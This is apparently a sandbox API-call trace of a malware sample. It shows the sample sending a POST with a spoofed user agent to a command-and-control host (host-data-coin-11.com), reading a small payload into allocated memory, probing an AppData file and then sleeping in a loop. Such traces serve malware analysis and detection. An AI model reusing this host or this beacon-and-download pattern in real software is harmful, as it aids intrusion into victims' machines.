[0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93cfdcf8 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9e0ebc06 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfbedb60 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac4588fe [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1d03377c [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4c08da6 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe8bd8c8e [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70737483 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7a2adca [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x291b8129 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c6571ba [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7c1c8294 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd0aa835a [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x566f09f5 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfc47bf16 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x461e126e [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12b4d72f [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b5114c4 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc78e8d1f [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5c96695f [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc70eb264 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x66ad6f3c [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xef00cee8 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13a3c178 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa851353 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb40120d6 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7e428972 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xead71ad4 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5885e1d5 [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x273d93ab [0222.221] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3361d98c [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbabb5763 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x73b16d60 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb5ca394 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd16540b [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x830efb4e [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46eaf4ea [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x79ab63f8 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb4e6939 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4047faec [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbf14c65d [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1e1e7e63 [0222.222] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f4f36c3 [0222.222] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x108) returned 0x91418d0 [0222.222] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0222.222] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0222.222] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0222.222] lstrcatA (in: lpString1="", lpString2="v;8W*[CkRa7ZJ?;BD\"RG0UajoX>33#Ou\"u?DhwxEuMufH#[Bg`>)Wvnp=/DkL`<[u'M*Aprl+i2X_R=9UNVEo:Tl@B(GVvvT@Jig16)mNo9A^`\"5c@Qp._2onoGmz]RK'Em1Uy*m.[g/\"wQ:9BFY;_!DU)-zj+pA5T9#Wd'F02" | out: lpString1="v;8W*[CkRa7ZJ?;BD\"RG0UajoX>33#Ou\"u?DhwxEuMufH#[Bg`>)Wvnp=/DkL`<[u'M*Aprl+i2X_R=9UNVEo:Tl@B(GVvvT@Jig16)mNo9A^`\"5c@Qp._2onoGmz]RK'Em1Uy*m.[g/\"wQ:9BFY;_!DU)-zj+pA5T9#Wd'F02") returned="v;8W*[CkRa7ZJ?;BD\"RG0UajoX>33#Ou\"u?DhwxEuMufH#[Bg`>)Wvnp=/DkL`<[u'M*Aprl+i2X_R=9UNVEo:Tl@B(GVvvT@Jig16)mNo9A^`\"5c@Qp._2onoGmz]RK'Em1Uy*m.[g/\"wQ:9BFY;_!DU)-zj+pA5T9#Wd'F02" [0222.222] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x91419e0 [0222.222] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0222.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x91419e0, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0222.222] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0222.226] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x86542c0 [0222.226] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0222.227] WinHttpConnect (hSession=0x86542c0, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aacd0 [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9140810 [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9141b00 [0222.227] WinHttpOpenRequest (hConnect=0x86aacd0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x57aa80 [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141b70 [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141bd0 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8bbad24b [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141cf0 [0222.227] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9141d10 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85fd92c5 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x103c7b7d [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe109efc5 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b2ad128 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e64c14d [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x647690e [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5c604df9 [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe6ecc7dd [0222.227] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4136dc34 [0222.227] wsprintfW (in: param_1=0x9141bd0, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://efmuvoqg.org/") returned 42 [0222.227] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141d10) returned 0x17 [0222.227] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141d10) returned 1 [0222.227] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141cf0) returned 0x12 [0222.227] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141cf0) returned 1 [0222.227] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b70) returned 0x4e [0222.228] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b70) returned 1 [0222.228] WinHttpAddRequestHeaders (hRequest=0x57aa80, pwszHeaders="Accept: */*\r\nReferer: http://efmuvoqg.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0222.228] WinHttpSendRequest (hRequest=0x57aa80, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91418d0*, dwOptionalLength=0xff, dwTotalLength=0xff, dwContext=0x0) returned 1 [0223.000] WinHttpReceiveResponse (hRequest=0x57aa80, lpReserved=0x0) returned 1 [0223.001] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9145db0 [0223.002] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145db0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145db0*, lpdwNumberOfBytesRead=0x1004fd88*=0x199) returned 1 [0223.004] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9145db0, Size=0x5000) returned 0x9145db0 [0223.004] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x9145f49, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145f49*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0223.005] VirtualAlloc (lpAddress=0x0, dwSize=0x199, flAllocationType=0x3000, flProtect=0x4) returned 0x6e0000 [0223.006] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0223.006] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0223.007] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141bd0) returned 0x10d [0223.007] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141bd0) returned 1 [0223.007] WinHttpCloseHandle (hInternet=0x86aacd0) returned 1 [0223.007] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b00) returned 0x68 [0223.007] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b00) returned 1 [0223.007] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140810) returned 0x12 [0223.007] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140810) returned 1 [0223.007] WinHttpCloseHandle (hInternet=0x86542c0) returned 1 [0223.008] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419e0) returned 0x10c [0223.008] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419e0) returned 1 [0223.008] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140740) returned 0xb9 [0223.008] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140740) returned 1 [0223.008] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0x108 [0223.008] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0223.009] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0223.019] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0223.019] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0223.020] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0223.020] Sleep (dwMilliseconds=0x258) [0223.021] Sleep (dwMilliseconds=0x258) [0223.035] Sleep (dwMilliseconds=0x258) [0223.037] Sleep (dwMilliseconds=0x258) [0223.039] Sleep (dwMilliseconds=0x258) [0223.041] Sleep (dwMilliseconds=0x258) [0223.042] Sleep (dwMilliseconds=0x258) [0223.044] Sleep (dwMilliseconds=0x258) [0223.045] Sleep (dwMilliseconds=0x258) [0223.048] Sleep (dwMilliseconds=0x258) [0223.049] Sleep (dwMilliseconds=0x258) [0223.051] Sleep (dwMilliseconds=0x258) [0223.053] Sleep (dwMilliseconds=0x258) [0223.054] Sleep (dwMilliseconds=0x258) [0223.056] Sleep (dwMilliseconds=0x258) [0223.058] Sleep (dwMilliseconds=0x258) [0223.059] Sleep (dwMilliseconds=0x258) [0223.061] Sleep (dwMilliseconds=0x258) [0223.063] Sleep (dwMilliseconds=0x258) [0223.064] Sleep (dwMilliseconds=0x258) [0223.066] Sleep (dwMilliseconds=0x258) [0223.068] Sleep (dwMilliseconds=0x258) [0223.069] Sleep (dwMilliseconds=0x258) [0223.071] Sleep (dwMilliseconds=0x258) [0223.073] Sleep (dwMilliseconds=0x258) [0223.075] Sleep (dwMilliseconds=0x258) [0223.077] Sleep (dwMilliseconds=0x258) [0223.079] Sleep (dwMilliseconds=0x258) [0223.081] Sleep (dwMilliseconds=0x258) [0223.083] Sleep (dwMilliseconds=0x258) [0223.086] Sleep (dwMilliseconds=0x258) [0223.088] Sleep (dwMilliseconds=0x258) [0223.089] Sleep (dwMilliseconds=0x258) [0223.091] Sleep (dwMilliseconds=0x258) [0223.092] Sleep (dwMilliseconds=0x258) [0223.094] Sleep (dwMilliseconds=0x258) [0223.095] Sleep (dwMilliseconds=0x258) [0223.097] Sleep (dwMilliseconds=0x258) [0223.099] Sleep (dwMilliseconds=0x258) [0223.101] Sleep (dwMilliseconds=0x258) [0223.113] Sleep (dwMilliseconds=0x258) [0223.114] Sleep (dwMilliseconds=0x258) [0223.116] Sleep (dwMilliseconds=0x258) [0223.118] Sleep (dwMilliseconds=0x258) [0223.119] Sleep (dwMilliseconds=0x258) [0223.120] Sleep (dwMilliseconds=0x258) [0223.122] Sleep (dwMilliseconds=0x258) [0223.123] Sleep (dwMilliseconds=0x258) [0223.125] Sleep (dwMilliseconds=0x258) [0223.126] Sleep (dwMilliseconds=0x258) [0223.128] Sleep (dwMilliseconds=0x258) [0223.130] Sleep (dwMilliseconds=0x258) [0223.132] Sleep (dwMilliseconds=0x258) [0223.134] Sleep (dwMilliseconds=0x258) [0223.136] Sleep (dwMilliseconds=0x258) [0223.137] Sleep (dwMilliseconds=0x258) [0223.139] Sleep (dwMilliseconds=0x258) [0223.141] Sleep (dwMilliseconds=0x258) [0223.142] Sleep (dwMilliseconds=0x258) [0223.143] Sleep (dwMilliseconds=0x258) [0223.145] Sleep (dwMilliseconds=0x258) [0223.147] Sleep (dwMilliseconds=0x258) [0223.148] Sleep (dwMilliseconds=0x258) [0223.149] Sleep (dwMilliseconds=0x258) [0223.151] Sleep (dwMilliseconds=0x258) [0223.153] Sleep (dwMilliseconds=0x258) [0223.154] Sleep (dwMilliseconds=0x258) [0223.156] Sleep (dwMilliseconds=0x258) [0223.157] Sleep (dwMilliseconds=0x258) [0223.158] Sleep (dwMilliseconds=0x258) [0223.160] Sleep (dwMilliseconds=0x258) [0223.164] Sleep (dwMilliseconds=0x258) [0223.165] Sleep (dwMilliseconds=0x258) [0223.167] Sleep (dwMilliseconds=0x258) [0223.169] Sleep (dwMilliseconds=0x258) [0223.171] Sleep (dwMilliseconds=0x258) [0223.173] Sleep (dwMilliseconds=0x258) [0223.174] Sleep (dwMilliseconds=0x258) [0223.176] Sleep (dwMilliseconds=0x258) [0223.177] Sleep (dwMilliseconds=0x258) [0223.179] Sleep (dwMilliseconds=0x258) [0223.180] Sleep (dwMilliseconds=0x258) [0223.182] Sleep (dwMilliseconds=0x258) [0223.184] Sleep (dwMilliseconds=0x258) [0223.186] Sleep (dwMilliseconds=0x258) [0223.188] Sleep (dwMilliseconds=0x258) [0223.189] Sleep (dwMilliseconds=0x258) [0223.191] Sleep (dwMilliseconds=0x258) [0223.192] Sleep (dwMilliseconds=0x258) [0223.197] Sleep (dwMilliseconds=0x258) [0223.199] Sleep (dwMilliseconds=0x258) [0223.200] Sleep (dwMilliseconds=0x258) [0223.201] Sleep (dwMilliseconds=0x258) [0223.203] Sleep (dwMilliseconds=0x258) [0223.204] Sleep (dwMilliseconds=0x258) [0223.206] Sleep (dwMilliseconds=0x258) [0223.208] Sleep (dwMilliseconds=0x258) [0223.210] Sleep (dwMilliseconds=0x258) [0223.212] Sleep (dwMilliseconds=0x258) [0223.214] Sleep (dwMilliseconds=0x258) [0223.215] Sleep (dwMilliseconds=0x258) [0223.217] Sleep (dwMilliseconds=0x258) [0223.219] Sleep (dwMilliseconds=0x258) [0223.221] Sleep (dwMilliseconds=0x258) [0223.222] Sleep (dwMilliseconds=0x258) [0223.224] Sleep (dwMilliseconds=0x258) [0223.225] Sleep (dwMilliseconds=0x258) [0223.230] Sleep (dwMilliseconds=0x258) [0223.232] Sleep (dwMilliseconds=0x258) [0223.233] Sleep (dwMilliseconds=0x258) [0223.235] Sleep (dwMilliseconds=0x258) [0223.237] Sleep (dwMilliseconds=0x258) [0223.239] Sleep (dwMilliseconds=0x258) [0223.241] Sleep (dwMilliseconds=0x258) [0223.242] Sleep (dwMilliseconds=0x258) [0223.243] Sleep (dwMilliseconds=0x258) [0223.245] Sleep (dwMilliseconds=0x258) [0223.246] Sleep (dwMilliseconds=0x258) [0223.248] Sleep (dwMilliseconds=0x258) [0223.249] Sleep (dwMilliseconds=0x258) [0223.251] Sleep (dwMilliseconds=0x258) [0223.252] Sleep (dwMilliseconds=0x258) [0223.254] Sleep (dwMilliseconds=0x258) [0223.255] Sleep (dwMilliseconds=0x258) [0223.257] Sleep (dwMilliseconds=0x258) [0223.259] Sleep (dwMilliseconds=0x258) [0223.261] Sleep (dwMilliseconds=0x258) [0223.263] Sleep (dwMilliseconds=0x258) [0223.264] Sleep (dwMilliseconds=0x258) [0223.266] Sleep (dwMilliseconds=0x258) [0223.268] Sleep (dwMilliseconds=0x258) [0223.269] Sleep (dwMilliseconds=0x258) [0223.271] Sleep (dwMilliseconds=0x258) [0223.272] Sleep (dwMilliseconds=0x258) [0223.274] Sleep (dwMilliseconds=0x258) [0223.275] Sleep (dwMilliseconds=0x258) [0223.277] Sleep (dwMilliseconds=0x258) [0223.278] Sleep (dwMilliseconds=0x258) [0223.280] Sleep (dwMilliseconds=0x258) [0223.281] Sleep (dwMilliseconds=0x258) [0223.283] Sleep (dwMilliseconds=0x258) [0223.286] Sleep (dwMilliseconds=0x258) [0223.288] Sleep (dwMilliseconds=0x258) [0223.289] Sleep (dwMilliseconds=0x258) [0223.291] Sleep (dwMilliseconds=0x258) [0223.295] Sleep (dwMilliseconds=0x258) [0223.297] Sleep (dwMilliseconds=0x258) [0223.299] Sleep (dwMilliseconds=0x258) [0223.300] Sleep (dwMilliseconds=0x258) [0223.302] Sleep (dwMilliseconds=0x258) [0223.347] Sleep (dwMilliseconds=0x258) [0223.349] Sleep (dwMilliseconds=0x258) [0223.353] Sleep (dwMilliseconds=0x258) [0223.355] Sleep (dwMilliseconds=0x258) [0223.356] Sleep (dwMilliseconds=0x258) [0223.358] Sleep (dwMilliseconds=0x258) [0223.359] Sleep (dwMilliseconds=0x258) [0223.361] Sleep (dwMilliseconds=0x258) [0223.362] Sleep (dwMilliseconds=0x258) [0223.364] Sleep (dwMilliseconds=0x258) [0223.367] Sleep (dwMilliseconds=0x258) [0223.368] Sleep (dwMilliseconds=0x258) [0223.370] Sleep (dwMilliseconds=0x258) [0223.371] Sleep (dwMilliseconds=0x258) [0223.373] Sleep (dwMilliseconds=0x258) [0223.375] Sleep (dwMilliseconds=0x258) [0223.377] Sleep (dwMilliseconds=0x258) [0223.428] Sleep (dwMilliseconds=0x258) [0223.482] Sleep (dwMilliseconds=0x258) [0223.483] Sleep (dwMilliseconds=0x258) [0223.485] Sleep (dwMilliseconds=0x258) [0223.486] Sleep (dwMilliseconds=0x258) [0223.495] Sleep (dwMilliseconds=0x258) [0223.496] Sleep (dwMilliseconds=0x258) [0223.498] Sleep (dwMilliseconds=0x258) [0223.499] Sleep (dwMilliseconds=0x258) [0223.501] Sleep (dwMilliseconds=0x258) [0223.502] Sleep (dwMilliseconds=0x258) [0223.504] Sleep (dwMilliseconds=0x258) [0223.505] Sleep (dwMilliseconds=0x258) [0223.507] Sleep (dwMilliseconds=0x258) [0223.509] Sleep (dwMilliseconds=0x258) [0223.510] Sleep (dwMilliseconds=0x258) [0223.564] Sleep (dwMilliseconds=0x258) [0223.577] Sleep (dwMilliseconds=0x258) [0223.631] Sleep (dwMilliseconds=0x258) [0223.633] Sleep (dwMilliseconds=0x258) [0223.634] Sleep (dwMilliseconds=0x258) [0223.649] Sleep (dwMilliseconds=0x258) [0223.651] Sleep (dwMilliseconds=0x258) [0223.653] Sleep (dwMilliseconds=0x258) [0223.665] Sleep (dwMilliseconds=0x258) [0223.712] Sleep (dwMilliseconds=0x258) [0223.868] Sleep (dwMilliseconds=0x258) [0223.913] Sleep (dwMilliseconds=0x258) [0223.915] Sleep (dwMilliseconds=0x258) [0223.983] Sleep (dwMilliseconds=0x258) [0223.986] Sleep (dwMilliseconds=0x258) [0223.987] Sleep (dwMilliseconds=0x258) [0223.989] Sleep (dwMilliseconds=0x258) [0223.990] Sleep (dwMilliseconds=0x258) [0224.004] Sleep (dwMilliseconds=0x258) [0224.025] Sleep (dwMilliseconds=0x258) [0224.061] Sleep (dwMilliseconds=0x258) [0224.065] Sleep (dwMilliseconds=0x258) [0224.141] Sleep (dwMilliseconds=0x258) [0224.142] Sleep (dwMilliseconds=0x258) [0224.144] Sleep (dwMilliseconds=0x258) [0224.153] Sleep (dwMilliseconds=0x258) [0224.162] Sleep (dwMilliseconds=0x258) [0224.176] Sleep (dwMilliseconds=0x258) [0224.204] Sleep (dwMilliseconds=0x258) [0224.214] Sleep (dwMilliseconds=0x258) [0224.294] Sleep (dwMilliseconds=0x258) [0224.296] Sleep (dwMilliseconds=0x258) [0224.297] Sleep (dwMilliseconds=0x258) [0224.299] Sleep (dwMilliseconds=0x258) [0224.300] Sleep (dwMilliseconds=0x258) [0224.302] Sleep (dwMilliseconds=0x258) [0224.304] Sleep (dwMilliseconds=0x258) [0224.305] Sleep (dwMilliseconds=0x258) [0224.306] Sleep (dwMilliseconds=0x258) [0224.398] Sleep (dwMilliseconds=0x258) [0224.413] Sleep (dwMilliseconds=0x258) [0224.415] Sleep (dwMilliseconds=0x258) [0224.416] Sleep (dwMilliseconds=0x258) [0224.418] Sleep (dwMilliseconds=0x258) [0224.419] Sleep (dwMilliseconds=0x258) [0224.421] Sleep (dwMilliseconds=0x258) [0224.422] Sleep (dwMilliseconds=0x258) [0224.424] Sleep (dwMilliseconds=0x258) [0224.425] Sleep (dwMilliseconds=0x258) [0224.427] Sleep (dwMilliseconds=0x258) [0224.430] Sleep (dwMilliseconds=0x258) [0224.431] Sleep (dwMilliseconds=0x258) [0224.433] Sleep (dwMilliseconds=0x258) [0224.434] Sleep (dwMilliseconds=0x258) [0224.436] Sleep (dwMilliseconds=0x258) [0224.438] Sleep (dwMilliseconds=0x258) [0224.440] Sleep (dwMilliseconds=0x258) [0224.441] Sleep (dwMilliseconds=0x258) [0224.443] Sleep (dwMilliseconds=0x258) [0224.497] Sleep (dwMilliseconds=0x258) [0224.507] Sleep (dwMilliseconds=0x258) [0224.541] Sleep (dwMilliseconds=0x258) [0224.550] Sleep (dwMilliseconds=0x258) [0224.559] Sleep (dwMilliseconds=0x258) [0224.568] Sleep (dwMilliseconds=0x258) [0224.572] Sleep (dwMilliseconds=0x258) [0224.626] Sleep (dwMilliseconds=0x258) [0224.683] Sleep (dwMilliseconds=0x258) [0224.684] Sleep (dwMilliseconds=0x258) [0224.685] Sleep (dwMilliseconds=0x258) [0224.701] Sleep (dwMilliseconds=0x258) [0224.718] Sleep (dwMilliseconds=0x258) [0224.789] Sleep (dwMilliseconds=0x258) [0224.867] Sleep (dwMilliseconds=0x258) [0224.869] Sleep (dwMilliseconds=0x258) [0224.885] Sleep (dwMilliseconds=0x258) [0224.886] Sleep (dwMilliseconds=0x258) [0224.888] Sleep (dwMilliseconds=0x258) [0224.890] Sleep (dwMilliseconds=0x258) [0224.891] Sleep (dwMilliseconds=0x258) [0224.896] Sleep (dwMilliseconds=0x258) [0224.897] Sleep (dwMilliseconds=0x258) [0224.934] Sleep (dwMilliseconds=0x258) [0225.081] Sleep (dwMilliseconds=0x258) [0225.083] Sleep (dwMilliseconds=0x258) [0225.085] Sleep (dwMilliseconds=0x258) [0225.086] Sleep (dwMilliseconds=0x258) [0225.088] Sleep (dwMilliseconds=0x258) [0225.089] Sleep (dwMilliseconds=0x258) [0225.091] Sleep (dwMilliseconds=0x258) [0225.093] Sleep (dwMilliseconds=0x258) [0225.094] Sleep (dwMilliseconds=0x258) [0225.096] Sleep (dwMilliseconds=0x258) [0225.098] Sleep (dwMilliseconds=0x258) [0225.100] Sleep (dwMilliseconds=0x258) [0225.101] Sleep (dwMilliseconds=0x258) [0225.103] Sleep (dwMilliseconds=0x258) [0225.107] Sleep (dwMilliseconds=0x258) [0225.109] Sleep (dwMilliseconds=0x258) [0225.111] Sleep (dwMilliseconds=0x258) [0225.150] Sleep (dwMilliseconds=0x258) [0225.151] Sleep (dwMilliseconds=0x258) [0225.230] Sleep (dwMilliseconds=0x258) [0225.231] Sleep (dwMilliseconds=0x258) [0225.243] Sleep (dwMilliseconds=0x258) [0225.244] Sleep (dwMilliseconds=0x258) [0225.257] Sleep (dwMilliseconds=0x258) [0225.269] Sleep (dwMilliseconds=0x258) [0225.303] Sleep (dwMilliseconds=0x258) [0225.376] Sleep (dwMilliseconds=0x258) [0225.378] Sleep (dwMilliseconds=0x258) [0225.382] Sleep (dwMilliseconds=0x258) [0225.393] Sleep (dwMilliseconds=0x258) [0225.402] Sleep (dwMilliseconds=0x258) [0225.411] Sleep (dwMilliseconds=0x258) [0225.440] Sleep (dwMilliseconds=0x258) [0225.449] Sleep (dwMilliseconds=0x258) [0225.527] Sleep (dwMilliseconds=0x258) [0225.529] Sleep (dwMilliseconds=0x258) [0225.530] Sleep (dwMilliseconds=0x258) [0225.533] Sleep (dwMilliseconds=0x258) [0225.534] Sleep (dwMilliseconds=0x258) [0225.536] Sleep (dwMilliseconds=0x258) [0225.621] Sleep (dwMilliseconds=0x258) [0225.640] Sleep (dwMilliseconds=0x258) [0225.641] Sleep (dwMilliseconds=0x258) [0225.643] Sleep (dwMilliseconds=0x258) [0225.645] Sleep (dwMilliseconds=0x258) [0225.646] Sleep (dwMilliseconds=0x258) [0225.648] Sleep (dwMilliseconds=0x258) [0225.650] Sleep (dwMilliseconds=0x258) [0225.651] Sleep (dwMilliseconds=0x258) [0225.653] Sleep (dwMilliseconds=0x258) [0225.656] Sleep (dwMilliseconds=0x258) [0225.657] Sleep (dwMilliseconds=0x258) [0225.659] Sleep (dwMilliseconds=0x258) [0225.660] Sleep (dwMilliseconds=0x258) [0225.662] Sleep (dwMilliseconds=0x258) [0225.663] Sleep (dwMilliseconds=0x258) [0225.665] Sleep (dwMilliseconds=0x258) [0225.666] Sleep (dwMilliseconds=0x258) [0225.668] Sleep (dwMilliseconds=0x258) [0225.669] Sleep (dwMilliseconds=0x258) [0225.717] Sleep (dwMilliseconds=0x258) [0225.726] Sleep (dwMilliseconds=0x258) [0225.773] Sleep (dwMilliseconds=0x258) [0225.784] Sleep (dwMilliseconds=0x258) [0225.798] Sleep (dwMilliseconds=0x258) [0225.814] Sleep (dwMilliseconds=0x258) [0226.114] Sleep (dwMilliseconds=0x258) [0226.142] Sleep (dwMilliseconds=0x258) [0226.144] Sleep (dwMilliseconds=0x258) [0226.324] Sleep (dwMilliseconds=0x258) 